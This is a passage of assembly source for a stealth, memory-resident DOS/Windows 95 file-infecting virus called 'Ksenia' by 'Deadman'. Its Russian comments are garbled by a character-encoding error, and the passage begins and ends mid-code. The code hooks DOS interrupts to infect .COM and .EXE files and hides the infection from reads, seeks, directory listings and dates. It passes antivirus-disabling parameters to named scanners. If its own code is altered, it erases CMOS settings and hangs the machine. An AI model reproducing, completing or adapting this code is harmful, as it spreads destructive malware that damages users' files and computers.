checksum,eax ; 蓀젪����� CRC32 je shield ; 將� CRLEN 줎⒱ 쭬誓㎘舒ⓣ�쥯�� � 收ゥ lea di,r_crc mov cx,4 trans: rol eax,8 push ax call hex2a stosw pop ax loop trans mov ah,9 ; ˘說�� ㄻ� ��エМ雪��． �졹鼇菴��蟯첓 lea dx,badcrc int 21h mov ax,4c02h int 21h hex2a: aam 10h add ax,3030h cmp al,':' jb $+4 add al,7 xchg al,ah cmp al,':' jb $+4 add al,7 ret badcrc db 'Virus code has been modified. The correct CRC is ' r_crc db '00000000h',0dh,0ah,24h org ksenia+CRLEN cld mov ah,30h ; 쭬�昔� ´褻Ŀ 꼶�, �� 將� 獸レぎ ㄻ� int 21h ; ˘ㅳ. 뜝 �젹�� ㄵゥ ‥誓� �� 飡ⅹ� ip: mov bp,sp mov bp,[bp-6] ; 貰魚젺����� IP ぎ쵟�ㄾ� INT � sub bp,offset ip ; �揖ⓤワ�� �젳��飡� 細ι��Ł (delta) push ds 0ffffh ; �젶 � �∥�쵟� 姿乘汀�� web'� pop ds mov al,ds:[7] ; 葉�젰� 줎⒱ �� ROM pop ds ; �〓嶺� � 將�� Д飡� 魚젺ⓥ碎 쩆�� xor al,2fh ; � ˘說� 葉�젰� slash �� 將�� 쩆瞬 cbw ; AX=00 inc ax ; AX=01 mov dx,ax ; DX=01 lea si,original-1+bp ; ™�昔� (˛呻誓��ⅴ) ぎレ餘 쭬蟯瞬 ˘說�� mov cx,original-shield-1 turbo: mov al,cs:[si] ; む졻첓� 飡說も侁�: add cs:[si-1],al ; 꼶: byte1 byte2 byte3 byte4 sub si,dx ; 룑몝�: b1+b2 b2+b3 b3+b4 b4+b5 loop turbo shield: mov ax,1856h ; �昔´夕� 췅 �黍率恂手�� ˘說�� � 캙э殊 int 21h ; AH=18 - �信�좑 押�ゆ⑨ cmp ax,3265h ; AX=3265 - ㎛좂ⓥ, 譽� ぎ�⑨ ˘說�� 拾� � jne install ; 캙э殊 lea si,original+bp ; si-貰魚젺����� 췅�젷� 若飡� mov ax,cs:[si] cmp ax,'MZ' ; �洙蝨� 쭬�信殊エ ˘說�? je run_exe ; αエ 췅葉췅β碎 췅 'MZ' Œ� 'ZM' cmp ax,'ZM' ; -> �� EXE je run_exe ; Þ좂� �� 몠� mov di,0100h ; 飡졷獸쥯エ �� 몠� mov cx,32 rep movsb ; ¡遜�젺�˘筍 � 캙э殊 mov si,100h ; 췅�젷� 쭬�젲����． �젵쳽 mov dx,cs jmp restp run_exe: mov ax,es add ax,010h add cs:[si+16h],ax ; 飡졷�� CS add ax,cs:[si+0eh] ; 飡졷�� SS mov dx,cs:[si+10h] ; 飡졷�� SP mov ss,ax mov sp,dx mov dx,cs:[si+16h] ; CS mov si,cs:[si+14h] ; IP restp: push dx si xor ax,ax ; ¡遜�젺�˘筍 誓（飡贍 xor bx,bx mov cx,0ffh mov dx,ds mov di,sp add di,4 mov bp,912h retf ; �搜졻� 承�젪ゥ��� �昔｀젹Д 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 댂飡젷ワ與� ˘說�� � 캙э筍 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 install: mov di,100h ; ES:DI = PSP:0100 mvs ds,cs ; DS:SI = ぎ� ˘說�� lea si,ksenia+bp ; ぎ�ⓣ濕� ぎ� ˘說�� ��´齧 쭬�젲����� mov cx,msize ; �昔｀젹щ 蓀젳� ��笹� PSP db 6ah,00h ; 쭬｀拾젰� � 飡ⅹ ぎ쵟�ㅻ ㄻ� db 66h,68h ; ぎ�ⓣ�쥯�⑨ ˘說�� db 0f3h,0a4h,0cah,6 push es offset done ; rep movsb / retn 6 mov ax,sp add ax,4 cld jmp far ptr ax done: mov ax,cs ; щ 췅 ��¡� Д飡�, � ��젪Œ彛臾 mov ds,ax ; 細ι�����, 첓� �黍 ぎНŒ湞Ŀ mov seg0,ax ; 쭬��キ���� 醒，��狩音 ��ゥ� � EPB mov seg1,ax mov seg2,ax call WinOldAp ; ��ャ曄��� 飡졻信� Þ飡젷ワ與� WinOldAp mov w95state,ax ; 貰魚젺���� 氏젲첓 mov ax,3521h ; AH=35 AL=INT# - 押�ゆ⑨ ㄻ� ��ャ曄�⑨ int 21h ; ´も��� �誓贍쥯�⑨ AL mov io21p,bx ; 貰魚젺ⓥ� ´も�� � 瀞ⅸぅ 캙э殊 mov io21p+2,es call set_dup ; 信�젺�˘筍 21-� ´も�� �誓贍쥯�⑨ 췅 ㅰ膝�� mov ax,2521h ; 信�젺�˘筍 聲�� �□젩�洵Ø lea dx,handler ; �誓贍쥯�⑨ int 21h mov ax,3508h ; 쭬�昔� ´も��� �誓贍쥯�⑨ int 21h mov io08,bx ; 貰魚젺���� ´も��� � 瀞ⅸ첓� 캙э殊 mov io08+2,es mov ax,2508h ; 信�젺�˚� �誓贍쥯�⑨ 08h (�젵Д�) lea dx,vguard ; ㄻ� �昔´夕� 璵ギ飡��飡� ぎ쩆 int 21h call FixVirus ; 쭬�젲���� �ⅹ�獸贍� 쥯┃音 �젵ギ� mov ah,4ah ; 僧��麟ⓥ� ㄾ �拾��． �젳Д�� ∥�� mov bx,(msize+100h)/16+2 ; 캙э殊, �琉�ゥ��硫 �昔｀젹Д mvs es,cs int 21h mov si,2ch ; PSP:2Ch = 醒，��� �む拾��⑨ mov ds,[si] ; ��Д飡ⓥ� ⅲ� � DS xor ax,ax mov si,-1 escan: inc si ; 稅젺�º ��첓 �� 췅ħ�� DW 0 cmp W [si],ax ; 쭬 �º 笹ⅳ濕� º� �젵쳽 (�昔｀젹щ), jne escan ; �� ぎ獸昔� 〓� 쭬�燼�� ˘說� lea dx,[si+4] ; dx -> º� mov ax,cs ; �昔Þⓩ쯄エ㎤說�� 飡ⅹ��瑜 丞젳졻�エ mov ss,ax ; � 獸 ��� ‘モ좐恂� ＄�-獸 ˛�㎯ // lea sp,stacks+size stacks mov ax,4b00h ; 쭬�信첓�� ��歲收ワ lea bx,epb ; ES:BX = EPB int 21h mov si,2ch mov es,cs:[si] ; ��ャ曄��� 醒，���� �む拾��⑨ mov ah,49h ; �聲�‘┐���� ∥�첓 캙э殊 int 21h mov ax,cs ; 쵟稅ⓣ濕� 췅� ∥�� 캙э殊 �젶, 첓� ▲ㅲ� dec ax ; �� 貰ㄵ逝ⓥ 獸レぎ 췅� PSP. � ��� 醒∽ mov ds,ax ; ��飡昔º ㅰ膝�� ∥�� 캙э殊, 笹ⅳ莘蟯� xor si,si ; �涉М 쭬 PSP. 뤲� 쭬´殲��Ŀ �昔｀젹щ mov al,4dh ; 췅� ∥�� 캙э殊 �� ▲ㄵ� �聲�‘┘�. xchg B [si],al mov W [si+3],0fh ; 룧э筍 ��� MCB 췅� ヮ‥㎛� �誓ㄾ飡젪ゥ췅 mov B [si+100h],al ; ぎ쵟�ㄽ�� 飡昔ぎ� (PSP+0F0h) mov W [si+101h],8 ; mov W [si+103h],msize/16+2 mov ah,4dh ; AH=4Dh (WAIT) int 21h ; ��ャ葉筍 ErrorLevel 쭬�申����� �昔｀젹щ mov ah,4ch ; AH=4Ch (EXIT) int 21h ; �硫殊 � DOS ‥� ㏇篆ⓨ ��ㄾ㏅��Ł 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊쳽飡� 쩆��音 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 copyright db 'Ksenia.' db vsize/1000 mod 10+'0' db vsize/100 mod 10+'0' db vsize/10 mod 10+'0' db vsize mod 10+'0' db ' Version 1.0 Copyright (C) by Deadman',0 v_id db '[KSENIA/Deadman]',0 ssize equ $-v_id extens db '.com',0 ; �졹鼇誓�⑨ �젵ギ�, ぎ獸贍� щ db '.exe',0 ; Þ十與說�� db 0 prms db 'DRWEB' ,0,0,' /NM' ,0dh db 'F-PROT',0,0,' /NOMEM',0dh db 'AVP' ,0,0,' /M' ,0dh db 0 AVs db 'AVP',0 ; ⓨ ˘說� 循�짛筍 �� ▲ㄵ� db 'DrWeb',0 db 'Web',0 db 'F-Prot',0 db 'TB',0 db 'ADInf',0 db 'Clean',0 db 'Scan',0 db 'NOD',0 db 'VSafe',0 db 'Anti',0 db 'NAV',0 db 'FV',0 db 'FindViru',0 db 'Command',0 db 0 windir db 'WINBOOTDIR=',0,0 comspec db 'COMMAND',0,0 fixes db '\SYSTEM\CONAGENT.EXE',0 db '\COMMAND\MODE.COM',0 db 0 stlock db 'PkZip',0 ; �昔｀젹щ, ¡ №�э �젩�瞬 ぎ獸贍� db 'RAR',0 ; �洙ヮ�좐恂� 飡�メ-押�ゆĿ ˘說�� db 'ARJ',0 db 'LHA',0 db 'ARC',0 db 'ZOO',0 db 'DEFRAG',0 db 'SPEEDISK',0 db 'ChkDsk',0 db 'BACKUP',0 db 'MSBACKUP',0 db 'ScanDisk',0 db 'NDD',0 db 0 funcs dw 1856h,tsrtest ; �昔´夕� 쭬�젲����飡� 캙э殊 (NULL) dw 4AFFh,rehook ; re-��誓罌졻 ´も��� (SETBLOCK) dw 3DFFh,infect ; 쭬�젲���� (OPEN) dw 1857h,infect ; 쭬�젲���� (VIXFIRUS) dw 41FFh,infect ; 쭬�젲���� (DEL) dw 43FFh,infect ; 쭬�젲���� (CHMOD) dw 4BFFh,infect ; 쭬�젲���� (EXEC) dw 56FFh,infect ; 쭬�젲���� (REN) dw 6C00h,extinfect ; 쭬�젲���� (EXTOPEN) dw 7141h,lfninfect ; 쭬�젲���� (LFN DEL) dw 7143h,lfninfect ; 쭬�젲���� (LFN CHMOD) dw 7156h,lfninfect ; 쭬�젲���� (LFN REN) dw 716Ch,extlfninf ; 쭬�젲���� (LFN OPEN) dw 71A9h,extlfninf ; 쭬�젲���� (LFN SERVER OPEN) dw 11FFh,fcbstealth ; 飡�メ (FCB) dw 12FFh,fcbstealth ; 飡�メ (FCB) dw 4EFFh,dtastealth ; 飡�メ (DTA) dw 4FFFh,dtastealth ; 飡�メ (DTA) dw 714Eh,lfnstealth ; 飡�メ (LFN) dw 714Fh,lfnstealth ; 飡�メ (LFN) dw 71A6h,infstealth ; 飡�メ (LFN HANDLE INFO) dw 5700h,date_get ; 飡�メ (GET DATE) dw 5701h,date_set ; 飡�メ (SET DATE) dw 42FFh,seekstealth ; 飡�メ (LSEEK) dw 3FFFh,readstealth ; 飡�メ (READ) dw 40FFh,diswrite ; 飡�メ (WRITE) dw 3EFFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 44FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 45FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 46FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 68FFh,patchsft ; ぎ薛ⅹ殊昔˚� SFT dw 0 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊�젩�洵Ø �誓贍쥯�⑨ 08 (Virus Guard) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 vguard: call SaveRegs ; 貰魚젺���� 誓（飡昔� inc cs:delay ; �昔´夕� ▲ㄵ� �昔ⓤ若ㄸ筍 �黍Д惜� cmp cs:delay,18 ; 첓┐莘 醒ゃ�ㅳ jb exit_guard mov cs:delay,0 call crc ; ��ㅱ曄� CRC 收ワ ˘說�� cmp cs:checksum,eax ; 蓀젪����� ⅴ � 將젷����� jz crc_ok mov al,0ffh ; 쭬�誓耀��� ㏇ε �誓贍쥯�Ł out 21h,al mov cx,40h ; 쭬殊�젰� 쩆��瑜 CMOS cmos: mov ax,cx out 71h,al jmp $+2 out 70h,al loop cmos jmp $ crc_ok: mov ax,1856h ; �昔´涉��, �Ø獸 エ �� �紐Ħ猶젷 췅� int 21h ; �□젩�洵Ø 21-． �誓贍쥯�⑨ �� �↓ⅸ cmp ax,3265h ; 璵��? je exit_guard mov ax,3521h ; 쭬�昔� ´も��� int 21h int 21h call set_dup ; 信�젺�˘筍 21-� ´も�� �誓贍쥯�⑨ 췅 ㅰ膝�� lea dx,manager ; ℓα� �拾�� ��誓信�젺�˘筍 ´も�� call chk_dup ; 췅若ㄸ� Д飡�, ゃ쩆 丞젳猶젷 ´も�� jnz reset ; � ��笹ⅳ��� ．ㅻ 聲�ⅸ ┬㎛� lea dx,handler reset: mov ax,2521h ; ��誓信�젺젪エ쥯�� ´も�� mvs ds,cs int 21h exit_guard: call LoadRegs jmp d cs:io08 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊�젩�洵Ø �誓贍쥯�⑨ 21 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 handler: call chk_dup ; �昔´夕�, �� ��誓信�젺�˘エ エ ´も�� jz manager ; 將� 〓쥯β ��笹� 쭬｀習え Win95 jmp D cs:io21p ; Þ좂� щ 栒� �� �黍 曄� manager: call SaveRegs ; 貰魚젺ⓥ� ㏇� 誓（飡贍 mov cs:save_ax,ax ; 貰�魚젺���� 캙�젹β昔� mov cs:save_bx,bx ; ▲ㅳ� ⓤ��レ㎜쥯筍碎 (Filename), αエ mov cs:save_es,es ; 押�ゆ⑨ = 4b00 � 쭬��信첓�щ� �젵� - AV lea si,funcs ; α筍 �젩エ囹�, �� ぎ獸昔� �□젩졻猶좐恂� fscan: cmp ah,cs:[si+1] ; �拾�瑜 押�ゆĿ int 21 (db F#, dw offset) jne lnext ; 蓀젪�Ð젰� al � 收ゃ耀� 瀞ⅸぎ� �젩エ劣 cmp B cs:[si],0ffh ; �昔´夕� 췅 ���拾��飡� �昔´夕� ��ㅴ勝ゆĿ je ljump cmp B cs:[si],al ; �昔´夕� ��ㅴ勝ゆĿ jne lnext ljump: call mcbcheck ; 押�ゆ⑨ 췅ħ�췅: �昔´夕� MCB (ㄻ� stealth) push W cs:[si+2] ; ‥誓� 細ι���� �□젩�洵Ø� ㄻ� 押�ゆĿ jmp LoadRegs ; ¡遜�젺젪エ쥯�� 誓（飡贍 lnext: add si,4 ; ‥誓� 笹ⅳ莘芋� 쭬�ⓤ� �� �젩エ劣 cmp w cs:[si],0 ; �昔´夕� ぎ��� �젩エ劣 jnz fscan call LoadRegs ; �□젩�洵Ø ㄻ� 將�� 押�ゆĿ �젶 � �� jmp ExitHandler ; 췅ħ��: �搜젰� 承�젪ゥ��� exithandler: push ax ax es bx bp ; 貰魚젺���� ES:BX � 誓㎘舒ⓣ�쥯��� Д飡� call get_dup ; ��ャ曄��� �黍（췅レ��． ´も��� int 21h mov bp,sp mov [bp+6],bx ; 쭬��� ´も��� � ㄲ� 聲�‘ㄽ瑜 瀞ⅸえ mov [bp+8],es ; � 飡ⅹ� pop bp bx es ; ¡遜�젺�˙���� 誓（飡昔� ES:BX retf ; ��誓쩆�� 承�젪ゥ�⑨ DOS ireturn: retf 2 ; ¡㎖�졻 � 勝①獸┘���� 氏젫�� � 飡ⅹ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 뇿�젲���� �젵ギ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 extlfninf: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 mov dx,si jmp lfnbreak lfninfect: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 lfnbreak: call Hook24 ; 信�젺�˚� 24-． ´も��� �誓贍쥯�⑨ call Filename ; �昔´夕� º��� � �졹鼇誓�⑨ �젵쳽 jc noinf call LFNClrAttrib ; �葉飡첓 졻循Æ呻�� �젵쳽 jc noinf call LFNOpenFile ; �洙贍殊� �젵쳽 ㄻ� R/W jc LFNga call Infect_Handle ; Þ十與昔쥯��� handle call CloseFile ; 쭬む淫�� �젵쳽 LFNga: call LFNRestAttrib ; ¡遜�젺�˙���� 졻循Æ呻�� �젵쳽 jmp noinf extinfect: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 mov dx,si jmp break infect: call SaveRegs ; 貰魚젺ⓥ� � 飡ⅹ� 誓（飡贍 break: call Hook24 ; 信�젺�˚� 24-． ´も��� �誓贍쥯�⑨ call Filename ; �昔´夕� º��� � �졹鼇誓�⑨ �젵쳽 jc noinf call ClrAttrib ; �葉飡첓 졻循Æ呻�� �젵쳽 jc noinf call OpenFile ; �洙贍殊� �젵쳽 ㄻ� R/W jc RAttr call Infect_Handle ; Þ十與昔쥯��� handle call CloseFile ; 쭬む淫�� �젵쳽 Rattr: call RestAttrib ; ¡遜�젺�˙���� 졻循Æ呻�� �젵쳽 Noinf: call Remove24 ; ¡遜�젺�˙���� �□젩�洵Ø� int 24h call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� cmp ah,3dh je sftstealth cmp ax,6c00h je sftstealth jmp exithandler 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; SFT stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 sftstealth: call int21 ; �洙贍筍 �拾�硫 �젵� call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_sft xchg ax,bx call CloseSFT ; 쭬む淫� SFT no_sft: call LoadRegs jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; FCB stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 fcbstealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� cmp al,0ffh ; 췅ħ��� 譽�-�Æ蝨�? jz no_fcb cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_fcb cmp cs:command,0 ; 將� 쭬�昔� command.com'�? jnz no_fcb mov ah,2fh ; 쭬�昔� 젮誓�� DTA call int21 cmp B es:[bx],0ffh ; �졹鼇誓���� FCB? jne usual add bx,7 usual: lea si,[bx+14h] ; si -> 쩆�� �젵쳽 lea di,[bx+1Dh] ; di -> ㄻÞ� �젵쳽 call sizst ; 稅贍殊� エ鈺ⓨ 줎⒱ no_fcb: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; DTA stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 dtastealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_dta ; 췅獄�? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_dta mov ah,2fh ; 쭬�昔� 젮誓�� DTA call int21 lea si,[bx+18h] ; si -> 쩆�� �젵쳽 lea di,[bx+1ah] ; di -> ㄻÞ� �젵쳽 call sizst ; 稅贍殊� エ鈺ⓨ 줎⒱ no_dta: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Win95 stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 infstealth: stc ; CF ㄾウ�� 〓筍 信�젺�˙�� call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_win ; ㏇� ok? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_win mov ax,0 ; №�э � Win95 兒席졻� mov si,dx lea di,[si+24h] ; �젳Д� �젵쳽 lea si,[si+14h] ; 쩆�� �젵쳽 mvs es,ds jmp allw95 lfnstealth: call int21 ; �留쥯筍 押�ゆ⑧ DOS call SaveRegs ; 貰魚젺���� 誓（飡昔� jc no_win ; 췅獄�? cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_win mov ax,si ; 兒席졻 №�Д�� lea si,[di+14h] ; 쩆�� �젵쳽 lea di,[di+20h] ; �젳Д� �젵쳽 allw95: cmp ax,1 ; �昔´夕� 兒席졻� №�Д�� jz dos_date push si di ax ; 貰魚젺���� 캙�젹β昔� 췅 ▲ㅳ迹ⅴ mov ax,71a7h ; ��誓¡� №�Д�� �� 兒席졻� mov bl,0 ; Win95 � 兒席졻 DOS mvs ds,es ; SI 丞젳猶젰� 췅 쩆栒 call int21 ; 醒⑴졹 CX:DX 貰ㄵ逝졻 �〓嶺�� DOS №�э pop ax di si ; ¡遜�젺�˙���� 캙�젹β昔� mov [si],cx ; 貰魚젺���� 캙�젹β昔� � FindDataRecord mov [si+2],dx dos_date: add si,2 ; si -> 쩆�� �젵쳽 call sizst ; di -> ㄻÞ� �젵쳽 sub si,2 cmp ax,1 ; �昔´夕� 兒席졻� №�Д�� jz no_win mov ax,71a7h ; ��誓¡� №�Д�� �� 兒席졻� mov bl,1 ; DOS � 兒席졻 Win95 mov di,si ; DI -> buffer ㄻ� №�Д�� � 쩆瞬 mov cx,[di] ; 譽���� №�Д�� � 쩆瞬 � 兒席졻� DOS mov dx,[di+2] call int21 ; 醒⑴졹 ES:[DI] 貰ㄵ逝ⓥ №�э Win95 no_win: call LoadRegs ; ¡遜�젺�˙���� 誓（飡昔� jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; DATE stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 date_get: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call int21 ; 쭬�昔� 쩆瞬 call hidestm ; 쵟稅ⓣ�˚� 쩆瞬 clc jmp seek_ret date_set: call OpenSFT ; �洙贍筍 SFT call int21 ; 信�젺�˚� 쩆瞬 call correctdate ; ��젪첓 쩆瞬 jmp seek_ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; LSEEK stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekstealth: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call HandleCheck ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek push cx ; 貰魚젺���� CX cmp al,2 ; �昔´夕� 殊캙 jne forw sub dx,vsize ; 쵟稅ⓣ�˚� 췅飡�玎ⅲ� ぎ��� �젵쳽 sbb cx,0 ; 誠˘� Ħβ �� ．ギ�� ˘說�� forw: call int21 ; ℓα� 信�젺�˚� 丞젳졻�ワ Ħβ �� 췅�젷� pop cx ; ¡遜�젺�˙���� CX jc seek_ret ; Œ� �� 收ゃ耀� ��㎤與� call seekhide ; ∥�え昔˚� ��캙쩆�⑨ lseek 췅 收ギ ˘說�� mov ax,cs:seek_pos mov dx,cs:seek_pos+2 jmp seek_ret no_seek: call int21 ; �留�� DOS seek_ret: call CloseSFT ; 쭬む淫� SFT jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; READ stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 readstealth: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call HandleCheck ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek call SeekSave ; 貰魚젺���� ��㎤與� 丞젳졻�ワ call int21 ; 쭬�昔� 譽��⑨ 쩆��音 jc seek_ret call SaveRegs ; 貰魚젺���� 誓（飡昔� mov di,dx ; ㅳ∥ⓣ�쥯��� 細ι��⑨ ▲芯�� mov cs:nrbytes,ax ; ぎエ曄飡¡ �昔葉�젺�音 줎⒱ cmp D cs:seek_pos,32 ; 葉�좐� 쭬．ギ¡�? jae zone call crload ; �昔葉�졻� 췅飡�玎ⅴ 췅�젷� �젵쳽 lea si,buffer ; SI -> 췅飡�玎ⅴ 췅�젷� add si,cs:seek_pos ; SI -> � 晨β�� 細ι��⑨ 譽��⑨ mov cx,cs:nrbytes ; 淞ⓥ젰� ぎエ曄飡¡ 줎⒱ ぎ獸贍� 췅� �拾�� add cx,cs:seek_pos ; 貰飡�メⓥ� cmp cx,32 ; ��㎤與� ぎ��� 譽��⑨ ゥ┬� 쭬 �誓ㄵギ� jbe $+5 ; 貰魚젺����． 췅�젷� �젵쳽? mov cx,32 sub cx,cs:seek_pos jcxz zone ; � 笹晨젰 譽��⑨ 0 줎⒱ rhide: mov al,cs:[si] ; ��ㄼ�췅 Þ十與昔쥯���． 췅�젷� �젵쳽 췅 mov [di],al ; �黍（췅レ��� inc si inc di loop rhide zone: call seekhide ; ∥�え說�� ¡㎚�┃�飡� ��캙쩆�⑨ lseek 췅 call LoadRegs ; ㎜�� ˘說�� + 僧��麟��⑨ 葉笹� �昔葉�젺�音 mov ax,cs:nrbytes ; 줎⒱ jmp seek_ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ALL HANDLER stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 patchsft: call OpenSFT ; �洙贍筍 SFT jmp no_seek 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; WRITE stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 diswrite: call OpenSFT ; �洙贍筍 SFT cmp cs:stf,0 ; �젩��졻� М┃�? jnz no_seek call HandleCheck ; �昔´夕� �젵쳽 IOCTL jc no_seek call Inf_Check ; Þ十與昔쥯�? jnc no_seek call SaveRegs ; 貰魚젺���� 誓（飡昔� call SeekSave ; 貰魚젺���� ��㎤與� 丞젳졻�ワ mvs ds,cs ; DS=CS call crload ; 쭬｀習첓 �黍（췅レ��． 췅�젷� � ▲芯� call seek2bof ; ��Д飡ⓥ� 丞젳졻�レ � 췅�젷� �젵쳽 mov cx,32 ; 쭬�ⓤ� �黍（췅レ��． 쭬．ギ˚� �젵쳽 lea dx,buffer call write xor cx,ax ; �鼇―�? �� 獸＄� �黍 쭬�ⓤ� 獸．, jnz disfail ; 曄． �昔碎� �鼇―� ▲ㄵ� 獸┘! mov cx,-1 ; ㄲª젰п� � ．ギ´ ˘說��. �.�. mov dx,-vsize ; � ぎ�軟 쭬�젲����� �昔｀젹щ call seekfrom_eof mov ah,40h ; �□ⅶ젰� �젵� xor cx,cx ; 蝨젷畑� 收ギ ˘說�� �� ˘說貰��歲收ワ call int21 mov ah,68h ; 聖�졹猶젰� ▲芯�� call int21 disfail: call RestoreSeek ; ¡遜�젺젪ゥ��� ��㎤與� 丞젳졻�ワ call LoadRegs ; ¡遜�젺젪ゥ��� 誓（飡昔� jmp no_seek ; �音�ㄸ� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; �昔´夕� Þ十與昔쥯���飡� 캙э殊 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 tsrtest: mov ax,3265h ; Hi, AX=3265 jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; ��™�惜硫 ��誓罌졻 ´も��� int 21h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 rehook: call SaveRegs ; 貰魚젺���� 誓（飡昔� call chk_dup ; �昔´夕�, 〓� エ 